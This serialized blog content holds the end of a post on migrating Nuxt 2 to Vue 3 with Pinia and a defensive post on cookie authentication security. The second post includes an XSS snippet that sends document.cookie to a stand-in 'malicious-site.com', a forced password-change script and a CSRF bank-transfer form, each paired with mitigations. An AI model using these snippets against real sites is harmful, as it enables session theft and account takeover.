user.value = await api.getUser()\n",[389,4239,4240],{"class":391,"line":1143},[389,4241,2161],{},[389,4243,4244],{"class":391,"line":1172},[389,4245,4227],{},[389,4247,4248],{"class":391,"line":1178},[389,4249,4250],{},"  return { user, fetchUser }\n",[389,4252,4253],{"class":391,"line":1189},[389,4254,4115],{},[293,4256,4258],{"id":4257},"step-5-component-migration","Step 5: Component Migration",[380,4260,4262],{"className":681,"code":4261,"language":683,"meta":96,"style":96},"\u003C!-- Before (Options API) -->\n\u003Ctemplate>\n  \u003Cdiv>{{ message }}\u003C/div>\n\u003C/template>\n\n\u003Cscript>\nexport default {\n  data() {\n    return {\n      message: 'Hello Vue 2!'\n    }\n  },\n  methods: {\n    updateMessage() {\n      this.message = 'Updated!'\n    }\n  }\n}\n\u003C/script>\n\n\u003C!-- After (Composition API) -->\n\u003Ctemplate>\n  \u003Cdiv>{{ message }}\u003C/div>\n\u003C/template>\n\n\u003Cscript setup>\nimport { ref } from 'vue'\n\nconst message = ref('Hello Vue 3!')\n\nconst updateMessage = () => {\n  message.value = 'Updated!'\n}\n\u003C/script>\n",[386,4263,4264,4269,4277,4297,4305,4309,4317,4326,4335,4342,4356,4360,4364,4373,4382,4399,4403,4407,4411,4419,4423,4428,4436,4452,4460,4464,4474,4492,4496,4517,4521,4537,4554,4558],{"__ignoreMap":96},[389,4265,4266],{"class":391,"line":392},[389,4267,4268],{"class":955},"\u003C!-- Before (Options API) -->\n",[389,4270,4271,4273,4275],{"class":391,"line":716},[389,4272,691],{"class":690},[389,4274,2800],{"class":694},[389,4276,713],{"class":690},[389,4278,4279,4281,4284,4287,4290,4293,4295],{"class":391,"line":748},[389,4280,2808],{"class":690},[389,4282,4283],{"class":694},"div",[389,4285,4286],{"class":690},">{{",[389,4288,4289],{"class":729}," message ",[389,4291,4292],{"class":690},"}}\u003C/",[389,4294,4283],{"class":694},[389,4296,713],{"class":690},[389,4298,4299,4301,4303],{"class":391,"line":766},[389,4300,1420],{"class":690},[389,4302,2800],{"class":694},[389,4304,713],{"class":690},[389,4306,4307],{"class":391,"line":789},[389,4308,844],{"emptyLinePlaceholder":251},[389,4310,4311,4313,4315],{"class":391,"line":818},[389,4312,691],{"class":690},[389,4314,695],{"class":694},[389,4316,713],{"class":690},[389,4318,4319,4321,4324],{"class":391,"line":841},[389,4320,891],{"class":719},[389,4322,4323],{"class":719}," default",[389,4325,937],{"class":690},[389,4327,4328,4331,4333],{"class":391,"line":847},[389,4329,4330],{"class":694},"  data",[389,4332,2188],{"class":690},[389,4334,937],{"class":690},[389,4336,4337,4340],{"class":391,"line":883},[389,4338,4339],{"class":719},"    return",[389,4341,937],{"class":690},[389,4343,4344,4347,4349,4351,4354],{"class":391,"line":888},[389,4345,4346],{"class":694},"      message",[389,4348,1239],{"class":690},[389,4350,739],{"class":690},[389,4352,4353],{"class":399},"Hello Vue 2!",[389,4355,745],{"class":690},[389,4357,4358],{"class":391,"line":940},[389,4359,2569],{"class":690},[389,4361,4362],{"class":391,"line":952},[389,4363,4082],{"class":690},[389,4365,4366,4369,4371],{"class":391,"line":959},[389,4367,4368],{"class":694},"  methods",[389,4370,1239],{"class":690},[389,4372,937],{"class":690},[389,4374,4375,4378,4380],{"class":391,"line":975},[389,4376,4377],{"class":694},"    updateMessage",[389,4379,2188],{"class":690},[389,4381,937],{"class":690},[389,4383,4384,4387,4390,4392,4394,4397],{"class":391,"line":981},[389,4385,4386],{"class":690},"      this.",[389,4388,4389],{"class":729},"message",[389,4391,856],{"class":690},[389,4393,739],{"class":690},[389,4395,4396],{"class":399},"Updated!",[389,4398,745],{"class":690},[389,4400,4401],{"class":391,"line":1014},[389,4402,2569],{"class":690},[389,4404,4405],{"class":391,"line":1042},[389,4406,2161],{"class":690},[389,4408,4409],{"class":391,"line":1047},[389,4410,1342],{"class":690},[389,4412,4413,4415,4417],{"class":391,"line":1059},[389,4414,1420],{"class":690},[389,4416,695],{"class":694},[389,4418,713],{"class":690},[389,4420,4421],{"class":391,"line":1064},[389,4422,844],{"emptyLinePlaceholder":251},[389,4424,4425],{"class":391,"line":1093},[389,4426,4427],{"class":955},"\u003C!-- After (Composition API) -->\n",[389,4429,4430,4432,4434],{"class":391,"line":1121},[389,4431,691],{"class":690},[389,4433,2800],{"class":694},[389,4435,713],{"class":690},[389,4437,4438,4440,4442,4444,4446,4448,4450],{"class":391,"line":1126},[389,4439,2808],{"class":690},[389,4441,4283],{"class":694},[389,4443,4286],{"class":690},[389,4445,4289],{"class":729},[389,4447,4292],{"class":690},[389,4449,4283],{"class":694},[389,4451,713],{"class":690},[389,4453,4454,4456,4458],{"class":391,"line":1138},[389,4455,1420],{"class":690},[389,4457,2800],{"class":694},[389,4459,713],{"class":690},[389,4461,4462],{"class":391,"line":1143},[389,4463,844],{"emptyLinePlaceholder":251},[389,4465,4466,4468,4470,4472],{"class":391,"line":1172},[389,4467,691],{"class":690},[389,4469,695],{"class":694},[389,4471,1439],{"class":698},[389,4473,713],{"class":690},[389,4475,4476,4478,4480,4482,4484,4486,4488,4490],{"class":391,"line":1178},[389,4477,720],{"class":719},[389,4479,726],{"class":690},[389,4481,1466],{"class":729},[389,4483,733],{"class":690},[389,4485,736],{"class":719},[389,4487,739],{"class":690},[389,4489,683],{"class":399},[389,4491,745],{"class":690},[389,4493,4494],{"class":391,"line":1189},[389,4495,844],{"emptyLinePlaceholder":251},[389,4497,4498,4500,4502,4504,4506,4508,4510,4513,4515],{"class":391,"line":1195},[389,4499,1775],{"class":698},[389,4501,4289],{"class":729},[389,4503,702],{"class":690},[389,4505,1466],{"class":1783},[389,4507,1232],{"class":729},[389,4509,878],{"class":690},[389,4511,4512],{"class":399},"Hello Vue 3!",[389,4514,878],{"class":690},[389,4516,1939],{"class":729},[389,4518,4519],{"class":391,"line":1205},[389,4520,844],{"emptyLinePlaceholder":251},[389,4522,4523,4525,4528,4530,4533,4535],{"class":391,"line":1211},[389,4524,1775],{"class":698},[389,4526,4527],{"class":729}," updateMessage ",[389,4529,702],{"class":690},[389,4531,4532],{"class":690}," ()",[389,4534,1248],{"class":698},[389,4536,937],{"class":690},[389,4538,4539,4542,4544,4546,4548,4550,4552],{"class":391,"line":1221},[389,4540,4541],{"class":729},"  message",[389,4543,2017],{"class":690},[389,4545,2020],{"class":729},[389,4547,856],{"class":690},[389,4549,739],{"class":690},[389,4551,4396],{"class":399},[389,4553,745],{"class":690},[389,4555,4556],{"class":391,"line":1307},[389,4557,1342],{"class":690},[389,4559,4560,4562,4564],{"class":391,"line":1318},[389,4561,1420],{"class":690},[389,4563,695],{"class":694},[389,4565,713],{"class":690},[284,4567,4569],{"id":4568},"key-benefits-of-the-migration","Key Benefits of the Migration",[293,4571,4573],{"id":4572},"performance-improvements","🚀 Performance Improvements",[308,4575,4576,4582,4588],{},[311,4577,4578,4581],{},[314,4579,4580],{},"Smaller Bundle Size",": Vue 3's tree-shaking is more effective",[311,4583,4584,4587],{},[314,4585,4586],{},"Faster Rendering",": Improved virtual DOM implementation",[311,4589,4590,4593],{},[314,4591,4592],{},"Better Memory Management",": Reduced memory leaks and better garbage collection",[293,4595,4597],{"id":4596},"️-developer-experience","🛠️ Developer Experience",[308,4599,4600,4606,4612],{},[311,4601,4602,4605],{},[314,4603,4604],{},"TypeScript Support",": Better TypeScript integration out of the box",[311,4607,4608,4611],{},[314,4609,4610],{},"Composition API",": More flexible and reusable logic",[311,4613,4614,4617],{},[314,4615,4616],{},"Better Tooling",": Enhanced DevTools and debugging capabilities",[293,4619,4621],{"id":4620},"modern-features","📱 Modern Features",[308,4623,4624,4630,4636],{},[311,4625,4626,4629],{},[314,4627,4628],{},"Teleport",": Better modal and popup handling",[311,4631,4632,4635],{},[314,4633,4634],{},"Fragments",": Multiple root nodes in components",[311,4637,4638,4641],{},[314,4639,4640],{},"Suspense",": Better async component handling",[284,4643,4644],{"id":3698},"Lessons Learned",[3701,4646,4647,4653,4659,4665,4671],{},[311,4648,4649,4652],{},[314,4650,4651],{},"Plan Thoroughly",": Don't start migration without a solid plan",[311,4654,4655,4658],{},[314,4656,4657],{},"Test Incrementally",": Migrate one component at a time",[311,4660,4661,4664],{},[314,4662,4663],{},"Keep Backups",": Always have a working version to fall back to",[311,4666,4667,4670],{},[314,4668,4669],{},"Document Changes",": Keep track of what you've changed and why",[311,4672,4673,4676],{},[314,4674,4675],{},"Team Communication",": Ensure everyone understands the migration process",[284,4678,4680],{"id":4679},"current-status","Current Status",[277,4682,4683],{},"Now the project is running smoothly with Vue 3 and Pinia! 😍",[277,4685,4686],{},"The migration was challenging but incredibly rewarding. I now have a much deeper understanding of Vue's ecosystem and feel more confident working with modern Vue applications.",[284,4688,4690],{"id":4689},"looking-forward","Looking Forward",[277,4692,4693],{},"This experience has opened up new possibilities for future projects. I'm now considering:",[308,4695,4696,4699,4702],{},[311,4697,4698],{},"Exploring Nuxt 3 for new projects (best of both worlds!)",[311,4700,4701],{},"Implementing more advanced Vue 3 features",[311,4703,4704],{},"Sharing knowledge with other developers going through similar migrations",[284,4706,4707],{"id":3680},"Questions for You",[277,4709,4710],{},"Have you tried doing an upgrade before? Or have you considered leaving Nuxt to work with Vue only? I'd love to hear about your experiences and maybe share some tips!",[277,4712,4713],{},"What migration challenges have you faced, and how did you overcome them? Let's discuss in the comments! 💪🔥",[3780,4715],{},[277,4717,4718],{},[3637,4719,4720],{},"This post was originally shared on LinkedIn. Follow me for more insights on Vue development and migration strategies!",[3793,4722,4723],{},"html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sHwdD, html code.shiki .sHwdD{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#546E7A;--shiki-default-font-style:italic;--shiki-dark:#676E95;--shiki-dark-font-style:italic}html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}",{"title":96,"searchDepth":716,"depth":716,"links":4725},[4726,4732,4738,4743,4750,4755,4756,4757,4758],{"id":3863,"depth":716,"text":3864,"children":4727},[4728,4729,4730,4731],{"id":3867,"depth":748,"text":3868},{"id":3874,"depth":748,"text":3875},{"id":3881,"depth":748,"text":3882},{"id":3888,"depth":748,"text":3889},{"id":3895,"depth":716,"text":3896,"children":4733},[4734,4735,4736,4737],{"id":3899,"depth":748,"text":3900},{"id":3906,"depth":748,"text":3907},{"id":3921,"depth":748,"text":3922},{"id":3932,"depth":748,"text":3933},{"id":3939,"depth":716,"text":3940,"children":4739},[4740,4741,4742],{"id":3943,"depth":748,"text":3944},{"id":3950,"depth":748,"text":3951},{"id":3957,"depth":748,"text":3958},{"id":3964,"depth":716,"text":3965,"children":4744},[4745,4746,4747,4748,4749],{"id":3968,"depth":748,"text":3969},{"id":3975,"depth":748,"text":3976},{"id":4016,"depth":748,"text":4017},{"id":4118,"depth":748,"text":4119},{"id":4257,"depth":748,"text":4258},{"id":4568,"depth":716,"text":4569,"children":4751},[4752,4753,4754],{"id":4572,"depth":748,"text":4573},{"id":4596,"depth":748,"text":4597},{"id":4620,"depth":748,"text":4621},{"id":3698,"depth":716,"text":4644},{"id":4679,"depth":716,"text":4680},{"id":4689,"depth":716,"text":4690},{"id":3680,"depth":716,"text":4707},"2025-04-25T00:00:00.000Z","A detailed account of my experience upgrading a project from Nuxt 2 to Vue 3, replacing Vuex with Pinia, and the valuable lessons learned along the way.","https://fiverr-res.cloudinary.com/images/t_main1,q_auto,f_auto,q_auto,f_auto/gigs/315813903/original/b71203fbbb69ff891b0863275fb3a275a81ea566/migrate-vue-2-to-vue-3-seamlessly-expert-vuejs-developer.png",{"tags":4763},[3843,4764,4765,4766,3849,4767],"Nuxt","Pinia","Migration","State Management",{"title":18,"description":4760},"szVkHNvdOYKvJQ6TlU2KB5oJjytmUQik0BIEzyPqRbY",{"id":4771,"title":14,"author":4772,"body":4774,"date":6940,"description":6941,"extension":3839,"image":6942,"meta":6943,"minRead":847,"navigation":251,"path":15,"seo":6948,"stem":16,"__hash__":6949},"blog/blog/cookie-authentication-security.md",{"name":270,"avatar":4773},{"src":272,"alt":270},{"type":274,"value":4775,"toc":6914},[4776,4779,4783,4787,4790,4794,4797,4801,4804,4808,4811,4815,4818,4822,4832,4837,4882,4887,4902,4937,4942,4948,4968,4973,5044,5048,5053,5057,5210,5214,5228,5258,5263,5269,5293,5298,5334,5338,5342,5406,5410,5483,5487,5629,5633,5807,5811,5932,5936,6090,6094,6192,6196,6246,6250,6761,6765,6768,6846,6850,6853,6856,6860,6904,6906,6911],[277,4777,4778],{},"In any web application, you need an authentication system to determine which user is logged in. One of the most common approaches is for the server to use cookies to store the session ID or a JWT token. This cookie is then sent automatically with every subsequent request.",[284,4780,4782],{"id":4781},"how-do-cookies-work","🔹 How Do Cookies Work?",[293,4784,4786],{"id":4785},"_1️⃣-login-process","1️⃣ Login Process",[277,4788,4789],{},"The user logs in and enters their email & password.",[293,4791,4793],{"id":4792},"_2️⃣-data-verification","2️⃣ Data Verification",[277,4795,4796],{},"The server checks the credentials, and if correct, sets a cookie in the response.",[293,4798,4800],{"id":4799},"_3️⃣-cookie-storage","3️⃣ Cookie Storage",[277,4802,4803],{},"The browser saves the cookie, and with every new request, the cookie is sent automatically to the server.",[293,4805,4807],{"id":4806},"_4️⃣-authorization-check","4️⃣ Authorization Check",[277,4809,4810],{},"The server checks the cookie and verifies that the user is allowed access.",[284,4812,4814],{"id":4813},"️-security-risks","⚠️ Security Risks",[277,4816,4817],{},"✋ But here's where things can go wrong if you don't secure your implementation!",[293,4819,4821],{"id":4820},"xss-cross-site-scripting","XSS (Cross-Site Scripting)",[277,4823,4824,4827,4828,4831],{},[314,4825,4826],{},"The Problem:"," Any malicious script can use ",[386,4829,4830],{},"document.cookie"," to easily steal the session token.",[277,4833,4834],{},[314,4835,4836],{},"Attack Example:",[380,4838,4840],{"className":4020,"code":4839,"language":4022,"meta":96,"style":96},"// Malicious code that could be executed on the page\n\u003Cscript>\n  const token = document.cookie;\n  fetch('https://malicious-site.com/steal', {\n    method: 'POST',\n    body: JSON.stringify({ token })\n  });\n\u003C/script>\n",[386,4841,4842,4847,4852,4857,4862,4867,4872,4877],{"__ignoreMap":96},[389,4843,4844],{"class":391,"line":392},[389,4845,4846],{},"// Malicious code that could be executed on the page\n",[389,4848,4849],{"class":391,"line":716},[389,4850,4851],{},"\u003Cscript>\n",[389,4853,4854],{"class":391,"line":748},[389,4855,4856],{},"  const token = document.cookie;\n",[389,4858,4859],{"class":391,"line":766},[389,4860,4861],{},"  fetch('https://malicious-site.com/steal', {\n",[389,4863,4864],{"class":391,"line":789},[389,4865,4866],{},"    method: 'POST',\n",[389,4868,4869],{"class":391,"line":818},[389,4870,4871],{},"    body: JSON.stringify({ token })\n",[389,4873,4874],{"class":391,"line":841},[389,4875,4876],{},"  });\n",[389,4878,4879],{"class":391,"line":847},[389,4880,4881],{},"\u003C/script>\n",[277,4883,4884],{},[314,4885,4886],{},"✅ Solution:",[308,4888,4889,4896,4899],{},[311,4890,4891,4892,4895],{},"Use ",[386,4893,4894],{},"httpOnly"," to prevent JavaScript from accessing the cookie",[311,4897,4898],{},"Enable CSP (Content Security Policy)",[311,4900,4901],{},"Properly escape user input",[380,4903,4905],{"className":4020,"code":4904,"language":4022,"meta":96,"style":96},"// Example of secure cookie settings\nres.cookie('sessionId', token, {\n  httpOnly: true,\n  secure: true,\n  sameSite: 'strict'\n});\n",[386,4906,4907,4912,4917,4922,4927,4932],{"__ignoreMap":96},[389,4908,4909],{"class":391,"line":392},[389,4910,4911],{},"// Example of secure cookie settings\n",[389,4913,4914],{"class":391,"line":716},[389,4915,4916],{},"res.cookie('sessionId', token, {\n",[389,4918,4919],{"class":391,"line":748},[389,4920,4921],{},"  httpOnly: true,\n",[389,4923,4924],{"class":391,"line":766},[389,4925,4926],{},"  secure: true,\n",[389,4928,4929],{"class":391,"line":789},[389,4930,4931],{},"  sameSite: 'strict'\n",[389,4933,4934],{"class":391,"line":818},[389,4935,4936],{},"});\n",[277,4938,4939],{},[314,4940,4941],{},"🔴 Advanced Attack Vectors (Penetration Tester Insights):",[277,4943,4944,4945,4947],{},"Even with ",[386,4946,4894],{}," cookies, attackers can still exploit the automatic cookie transmission feature. Here's how:",[3701,4949,4950,4956,4962],{},[311,4951,4952,4955],{},[314,4953,4954],{},"Client-Side Sensitive Actions",": Attackers look for pages with sensitive actions (email changes, data modifications) that are handled in JavaScript",[311,4957,4958,4961],{},[314,4959,4960],{},"Automatic Cookie Transmission",": Since the browser automatically sends cookies with every request, malicious scripts can trigger sensitive actions without directly accessing the cookie",[311,4963,4964,4967],{},[314,4965,4966],{},"CSP Bypass",": If Content Security Policy isn't properly implemented, attackers can find ways around it",[277,4969,4970],{},[314,4971,4972],{},"Real-World Attack Scenario:",[380,4974,4976],{"className":4020,"code":4975,"language":4022,"meta":96,"style":96},"// Attacker finds a page with sensitive actions handled in JS\n// They inject malicious code that triggers password change\n\u003Cscript>\n  // The browser automatically sends the httpOnly cookie\n  fetch('/api/change-password', {\n    method: 'POST',\n    headers: { 'Content-Type': 'application/json' },\n    body: JSON.stringify({\n      newPassword: 'hacker123',\n      confirmPassword: 'hacker123'\n    })\n    // Cookie is sent automatically - no need to access it directly!\n  });\n\u003C/script>\n",[386,4977,4978,4983,4988,4992,4997,5002,5006,5011,5016,5021,5026,5031,5036,5040],{"__ignoreMap":96},[389,4979,4980],{"class":391,"line":392},[389,4981,4982],{},"// Attacker finds a page with sensitive actions handled in JS\n",[389,4984,4985],{"class":391,"line":716},[389,4986,4987],{},"// They inject malicious code that triggers password change\n",[389,4989,4990],{"class":391,"line":748},[389,4991,4851],{},[389,4993,4994],{"class":391,"line":766},[389,4995,4996],{},"  // The browser automatically sends the httpOnly cookie\n",[389,4998,4999],{"class":391,"line":789},[389,5000,5001],{},"  fetch('/api/change-password', {\n",[389,5003,5004],{"class":391,"line":818},[389,5005,4866],{},[389,5007,5008],{"class":391,"line":841},[389,5009,5010],{},"    headers: { 'Content-Type': 'application/json' },\n",[389,5012,5013],{"class":391,"line":847},[389,5014,5015],{},"    body: JSON.stringify({\n",[389,5017,5018],{"class":391,"line":883},[389,5019,5020],{},"      newPassword: 'hacker123',\n",[389,5022,5023],{"class":391,"line":888},[389,5024,5025],{},"      confirmPassword: 'hacker123'\n",[389,5027,5028],{"class":391,"line":940},[389,5029,5030],{},"    })\n",[389,5032,5033],{"class":391,"line":952},[389,5034,5035],{},"    // Cookie is sent automatically - no need to access it directly!\n",[389,5037,5038],{"class":391,"line":959},[389,5039,4876],{},[389,5041,5042],{"class":391,"line":975},[389,5043,4881],{},[293,5045,5047],{"id":5046},"csrf-cross-site-request-forgery","CSRF (Cross-Site Request Forgery)",[277,5049,5050,5052],{},[314,5051,4826],{}," Because the browser automatically sends the cookie, any malicious website can exploit the open session and send requests on behalf of the user!",[277,5054,5055],{},[314,5056,4836],{},[380,5058,5062],{"className":5059,"code":5060,"language":5061,"meta":96,"style":96},"language-html shiki shiki-themes material-theme-lighter material-theme material-theme-palenight","\u003C!-- Malicious page requesting money transfer -->\n\u003Cform action=\"https://bank.com/transfer\" method=\"POST\">\n  \u003Cinput type=\"hidden\" name=\"amount\" value=\"1000\">\n  \u003Cinput type=\"hidden\" name=\"to\" value=\"hacker-account\">\n  \u003Cbutton>Click to win $1000!\u003C/button>\n\u003C/form>\n","html",[386,5063,5064,5069,5102,5145,5185,5202],{"__ignoreMap":96},[389,5065,5066],{"class":391,"line":392},[389,5067,5068],{"class":955},"\u003C!-- Malicious page requesting money transfer -->\n",[389,5070,5071,5073,5076,5079,5081,5083,5086,5088,5091,5093,5095,5098,5100],{"class":391,"line":716},[389,5072,691],{"class":690},[389,5074,5075],{"class":694},"form",[389,5077,5078],{"class":698}," action",[389,5080,702],{"class":690},[389,5082,705],{"class":690},[389,5084,5085],{"class":399},"https://bank.com/transfer",[389,5087,705],{"class":690},[389,5089,5090],{"class":698}," method",[389,5092,702],{"class":690},[389,5094,705],{"class":690},[389,5096,5097],{"class":399},"POST",[389,5099,705],{"class":690},[389,5101,713],{"class":690},[389,5103,5104,5106,5109,5111,5113,5115,5118,5120,5122,5124,5126,5129,5131,5134,5136,5138,5141,5143],{"class":391,"line":748},[389,5105,2808],{"class":690},[389,5107,5108],{"class":694},"input",[389,5110,723],{"class":698},[389,5112,702],{"class":690},[389,5114,705],{"class":690},[389,5116,5117],{"class":399},"hidden",[389,5119,705],{"class":690},[389,5121,3112],{"class":698},[389,5123,702],{"class":690},[389,5125,705],{"class":690},[389,5127,5128],{"class":399},"amount",[389,5130,705],{"class":690},[389,5132,5133],{"class":698}," value",[389,5135,702],{"class":690},[389,5137,705],{"class":690},[389,5139,5140],{"class":399},"1000",[389,5142,705],{"class":690},[389,5144,713],{"class":690},[389,5146,5147,5149,5151,5153,5155,5157,5159,5161,5163,5165,5167,5170,5172,5174,5176,5178,5181,5183],{"class":391,"line":766},[389,5148,2808],{"class":690},[389,5150,5108],{"class":694},[389,5152,723],{"class":698},[389,5154,702],{"class":690},[389,5156,705],{"class":690},[389,5158,5117],{"class":399},[389,5160,705],{"class":690},[389,5162,3112],{"class":698},[389,5164,702],{"class":690},[389,5166,705],{"class":690},[389,5168,5169],{"class":399},"to",[389,5171,705],{"class":690},[389,5173,5133],{"class":698},[389,5175,702],{"class":690},[389,5177,705],{"class":690},[389,5179,5180],{"class":399},"hacker-account",[389,5182,705],{"class":690},[389,5184,713],{"class":690},[389,5186,5187,5189,5191,5193,5196,5198,5200],{"class":391,"line":789},[389,5188,2808],{"class":690},[389,5190,875],{"class":694},[389,5192,934],{"class":690},[389,5194,5195],{"class":729},"Click to win $1000!",[389,5197,1420],{"class":690},[389,5199,875],{"class":694},[389,5201,713],{"class":690},[389,5203,5204,5206,5208],{"class":391,"line":818},[389,5205,1420],{"class":690},[389,5207,5075],{"class":694},[389,5209,713],{"class":690},[277,5211,5212],{},[314,5213,4886],{},[308,5215,5216,5222,5225],{},[311,5217,4891,5218,5221],{},[386,5219,5220],{},"SameSite=Strict"," so the cookie isn't sent with cross-site requests",[311,5223,5224],{},"Use CSRF tokens for any sensitive POST requests",[311,5226,5227],{},"Verify the Origin header",[380,5229,5231],{"className":4020,"code":5230,"language":4022,"meta":96,"style":96},"// Example of CSRF token\n\u003Cform action=\"/transfer\" method=\"POST\">\n  \u003Cinput type=\"hidden\" name=\"_csrf\" value=\"\u003C%= csrfToken %>\">\n  \u003C!-- Other fields -->\n\u003C/form>\n",[386,5232,5233,5238,5243,5248,5253],{"__ignoreMap":96},[389,5234,5235],{"class":391,"line":392},[389,5236,5237],{},"// Example of CSRF token\n",[389,5239,5240],{"class":391,"line":716},[389,5241,5242],{},"\u003Cform action=\"/transfer\" method=\"POST\">\n",[389,5244,5245],{"class":391,"line":748},[389,5246,5247],{},"  \u003Cinput type=\"hidden\" name=\"_csrf\" value=\"\u003C%= csrfToken %>\">\n",[389,5249,5250],{"class":391,"line":766},[389,5251,5252],{},"  \u003C!-- Other fields -->\n",[389,5254,5255],{"class":391,"line":789},[389,5256,5257],{},"\u003C/form>\n",[277,5259,5260],{},[314,5261,5262],{},"🔴 SameSite Limitations (Penetration Tester Insights):",[277,5264,5265,5266,5268],{},"While ",[386,5267,5220],{}," is very secure, it has practical limitations:",[3701,5270,5271,5281,5287],{},[311,5272,5273,5276,5277,5280],{},[314,5274,5275],{},"Subdomain Issues",": If you set it for ",[386,5278,5279],{},".example.com",", subdomains won't receive cookies, but if you set it for subdomains, the main domain won't receive cookies",[311,5282,5283,5286],{},[314,5284,5285],{},"Third-Party Integration Problems",": Services like CloudFlare, analytics tools, or payment gateways may break",[311,5288,5289,5292],{},[314,5290,5291],{},"Development Complexity",": Can cause issues during development and testing phases",[277,5294,5295],{},[314,5296,5297],{},"Alternative Approach:",[380,5299,5301],{"className":4020,"code":5300,"language":4022,"meta":96,"style":96},"// More flexible SameSite configuration\nres.cookie('sessionId', token, {\n  httpOnly: true,\n  secure: true,\n  sameSite: 'lax', // Allows some cross-site requests\n  domain: '.yourdomain.com' // Include subdomains\n});\n",[386,5302,5303,5308,5312,5316,5320,5325,5330],{"__ignoreMap":96},[389,5304,5305],{"class":391,"line":392},[389,5306,5307],{},"// More flexible SameSite configuration\n",[389,5309,5310],{"class":391,"line":716},[389,5311,4916],{},[389,5313,5314],{"class":391,"line":748},[389,5315,4921],{},[389,5317,5318],{"class":391,"line":766},[389,5319,4926],{},[389,5321,5322],{"class":391,"line":789},[389,5323,5324],{},"  sameSite: 'lax', // Allows some cross-site requests\n",[389,5326,5327],{"class":391,"line":818},[389,5328,5329],{},"  domain: '.yourdomain.com' // Include subdomains\n",[389,5331,5332],{"class":391,"line":841},[389,5333,4936],{},[284,5335,5337],{"id":5336},"️-advanced-security-best-practices","🛡️ Advanced Security Best Practices",[293,5339,5341],{"id":5340},"_1-enhanced-cookie-security","1. Enhanced Cookie Security",[380,5343,5345],{"className":4020,"code":5344,"language":4022,"meta":96,"style":96},"app.use(session({\n  secret: process.env.SESSION_SECRET,\n  cookie: {\n    httpOnly: true,        // Prevent JavaScript access\n    secure: true,          // HTTPS only\n    sameSite: 'strict',    // Prevent CSRF\n    maxAge: 1000 * 60 * 60 * 24, // 1 day validity\n    domain: '.yourdomain.com',    // Specify domain\n    path: '/',                    // Restrict path\n    expires: new Date(Date.now() + 24 * 60 * 60 * 1000) // Explicit expiration\n  }\n}));\n",[386,5346,5347,5352,5357,5362,5367,5372,5377,5382,5387,5392,5397,5401],{"__ignoreMap":96},[389,5348,5349],{"class":391,"line":392},[389,5350,5351],{},"app.use(session({\n",[389,5353,5354],{"class":391,"line":716},[389,5355,5356],{},"  secret: process.env.SESSION_SECRET,\n",[389,5358,5359],{"class":391,"line":748},[389,5360,5361],{},"  cookie: {\n",[389,5363,5364],{"class":391,"line":766},[389,5365,5366],{},"    httpOnly: true,        // Prevent JavaScript access\n",[389,5368,5369],{"class":391,"line":789},[389,5370,5371],{},"    secure: true,          // HTTPS only\n",[389,5373,5374],{"class":391,"line":818},[389,5375,5376],{},"    sameSite: 'strict',    // Prevent CSRF\n",[389,5378,5379],{"class":391,"line":841},[389,5380,5381],{},"    maxAge: 1000 * 60 * 60 * 24, // 1 day validity\n",[389,5383,5384],{"class":391,"line":847},[389,5385,5386],{},"    domain: '.yourdomain.com',    // Specify domain\n",[389,5388,5389],{"class":391,"line":883},[389,5390,5391],{},"    path: '/',                    // Restrict path\n",[389,5393,5394],{"class":391,"line":888},[389,5395,5396],{},"    expires: new Date(Date.now() + 24 * 60 * 60 * 1000) // Explicit expiration\n",[389,5398,5399],{"class":391,"line":940},[389,5400,2161],{},[389,5402,5403],{"class":391,"line":952},[389,5404,5405],{},"}));\n",[293,5407,5409],{"id":5408},"_2-advanced-content-security-policy","2. Advanced Content Security Policy",[380,5411,5413],{"className":5059,"code":5412,"language":5061,"meta":96,"style":96},"\u003C!-- Comprehensive CSP with multiple layers -->\n\u003Cmeta http-equiv=\"Content-Security-Policy\" \n      content=\"default-src 'self'; \n               script-src 'self' 'nonce-${nonce}'; \n               style-src 'self' 'unsafe-inline'; \n               img-src 'self' data: https:; \n               connect-src 'self'; \n               frame-ancestors 'none';\">\n",[386,5414,5415,5420,5442,5454,5459,5464,5469,5474],{"__ignoreMap":96},[389,5416,5417],{"class":391,"line":392},[389,5418,5419],{"class":955},"\u003C!-- Comprehensive CSP with multiple layers -->\n",[389,5421,5422,5424,5427,5430,5432,5434,5437,5439],{"class":391,"line":716},[389,5423,691],{"class":690},[389,5425,5426],{"class":694},"meta",[389,5428,5429],{"class":698}," 